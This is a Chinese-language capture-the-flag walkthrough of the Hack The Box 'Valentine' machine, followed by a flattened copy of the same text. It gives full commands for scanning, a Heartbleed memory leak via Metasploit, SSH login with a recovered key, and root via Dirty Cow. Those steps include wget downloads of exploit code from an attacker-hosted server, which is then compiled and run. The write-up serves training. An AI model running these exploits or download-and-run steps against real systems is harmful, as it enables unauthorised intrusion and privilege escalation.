hack the box 之 Valentine靶场练习
字数 1224 2025-08-11 17:40:29

Valentine靶场渗透测试实战教学

靶场概述

Valentine是Hack The Box平台上的一个中等难度靶机,主要考察信息收集、隐写术、心脏滴血漏洞利用和权限提升等技术。本教学将详细讲解从初始扫描到最终获取root权限的完整过程。

初始信息收集

1. 靶机IP获取

首先连接到HTB VPN并获取靶机IP地址(假设为10.10.10.79)。

2. Nmap扫描

执行全面端口扫描:

nmap -sV -sC -p- 10.10.10.79

扫描结果:

  • 22/tcp - OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
  • 80/tcp - Apache httpd 2.2.22 ((Ubuntu))
  • 443/tcp - Apache httpd 2.2.22 ((Ubuntu))

Web服务枚举

1. 访问HTTP服务

访问http://10.10.10.79,显示一张心形图片。下载该图片进行隐写分析:

wget http://10.10.10.79/heartbleed.png

2. 检查图片内容

使用xxdhexeditor检查图片:

xxd heartbleed.png | less

发现图片尾部包含异常数据,可能是隐藏信息。

3. 目录扫描

使用gobuster进行目录扫描:

gobuster dir -u http://10.10.10.79 -w /usr/share/wordlists/dirb/common.txt

发现以下有效目录/文件:

  • /index
  • /encode
  • /decode
  • /dev

4. 检查/dev目录

访问http://10.10.10.79/dev发现两个文件:

  • hype_key
  • notes.txt

下载并检查hype_key文件:

wget http://10.10.10.79/dev/hype_key

发现这是一个十六进制编码的文本,解码后得到SSH私钥:

xxd -r -p hype_key > id_rsa

心脏滴血漏洞利用

1. 漏洞检测

使用Nmap脚本检测心脏滴血漏洞:

nmap -sV -p 443 --script ssl-heartbleed 10.10.10.79

确认存在CVE-2014-0160漏洞。

2. 利用漏洞

使用Metasploit模块获取内存数据:

msfconsole
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 10.10.10.79
run

从内存中提取到base64编码字符串:

aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==

解码后得到:

echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d

输出:heartbleedbelievethehype

SSH访问尝试

1. 准备私钥

修改私钥权限:

chmod 600 id_rsa

2. 尝试连接

使用获取的用户名"hype"和私钥连接:

ssh -i id_rsa hype@10.10.10.79

成功获取用户shell。

用户权限枚举

1. 获取用户flag

cat /home/hype/user.txt

2. 检查权限

sudo -l

发现没有sudo权限。

检查可写目录:

find / -writable -type d 2>/dev/null

权限提升

1. 上传提权工具

在本地启动HTTP服务:

python3 -m http.server 8000

在目标机器下载Linux Exploit Suggester:

wget http://YOUR_IP:8000/linux-exploit-suggester.pl -O /tmp/les.pl

2. 运行提权检查

perl /tmp/les.pl

建议尝试Dirty Cow (CVE-2016-5195)漏洞。

3. 利用Dirty Cow

下载并编译exp:

wget http://YOUR_IP:8000/dirty.c -O /tmp/dirty.c
gcc -pthread /tmp/dirty.c -o /tmp/dirty -lcrypt
/tmp/dirty

成功获取root shell。

4. 获取root flag

cat /root/root.txt

总结

本靶场渗透测试流程:

  1. 端口扫描发现开放服务
  2. Web目录枚举发现隐藏文件
  3. 图片隐写分析获取SSH私钥
  4. 心脏滴血漏洞利用获取凭据
  5. 使用私钥和凭据SSH登录
  6. 提权检查发现内核漏洞
  7. 利用Dirty Cow获取root权限

关键学习点:

  • 隐写术分析技巧
  • 心脏滴血漏洞原理与利用
  • SSH私钥权限设置
  • 内核漏洞本地提权方法
Valentine靶场渗透测试实战教学 靶场概述 Valentine是Hack The Box平台上的一个中等难度靶机,主要考察信息收集、隐写术、心脏滴血漏洞利用和权限提升等技术。本教学将详细讲解从初始扫描到最终获取root权限的完整过程。 初始信息收集 1. 靶机IP获取 首先连接到HTB VPN并获取靶机IP地址(假设为10.10.10.79)。 2. Nmap扫描 执行全面端口扫描: 扫描结果: 22/tcp - OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) 80/tcp - Apache httpd 2.2.22 ((Ubuntu)) 443/tcp - Apache httpd 2.2.22 ((Ubuntu)) Web服务枚举 1. 访问HTTP服务 访问http://10.10.10.79,显示一张心形图片。下载该图片进行隐写分析: 2. 检查图片内容 使用 xxd 或 hexeditor 检查图片: 发现图片尾部包含异常数据,可能是隐藏信息。 3. 目录扫描 使用gobuster进行目录扫描: 发现以下有效目录/文件: /index /encode /decode /dev 4. 检查/dev目录 访问http://10.10.10.79/dev发现两个文件: hype_ key notes.txt 下载并检查hype_ key文件: 发现这是一个十六进制编码的文本,解码后得到SSH私钥: 心脏滴血漏洞利用 1. 漏洞检测 使用Nmap脚本检测心脏滴血漏洞: 确认存在CVE-2014-0160漏洞。 2. 利用漏洞 使用Metasploit模块获取内存数据: 从内存中提取到base64编码字符串: 解码后得到: 输出: heartbleedbelievethehype SSH访问尝试 1. 准备私钥 修改私钥权限: 2. 尝试连接 使用获取的用户名"hype"和私钥连接: 成功获取用户shell。 用户权限枚举 1. 获取用户flag 2. 检查权限 发现没有sudo权限。 检查可写目录: 权限提升 1. 上传提权工具 在本地启动HTTP服务: 在目标机器下载Linux Exploit Suggester: 2. 运行提权检查 建议尝试Dirty Cow (CVE-2016-5195)漏洞。 3. 利用Dirty Cow 下载并编译exp: 成功获取root shell。 4. 获取root flag 总结 本靶场渗透测试流程: 端口扫描发现开放服务 Web目录枚举发现隐藏文件 图片隐写分析获取SSH私钥 心脏滴血漏洞利用获取凭据 使用私钥和凭据SSH登录 提权检查发现内核漏洞 利用Dirty Cow获取root权限 关键学习点: 隐写术分析技巧 心脏滴血漏洞原理与利用 SSH私钥权限设置 内核漏洞本地提权方法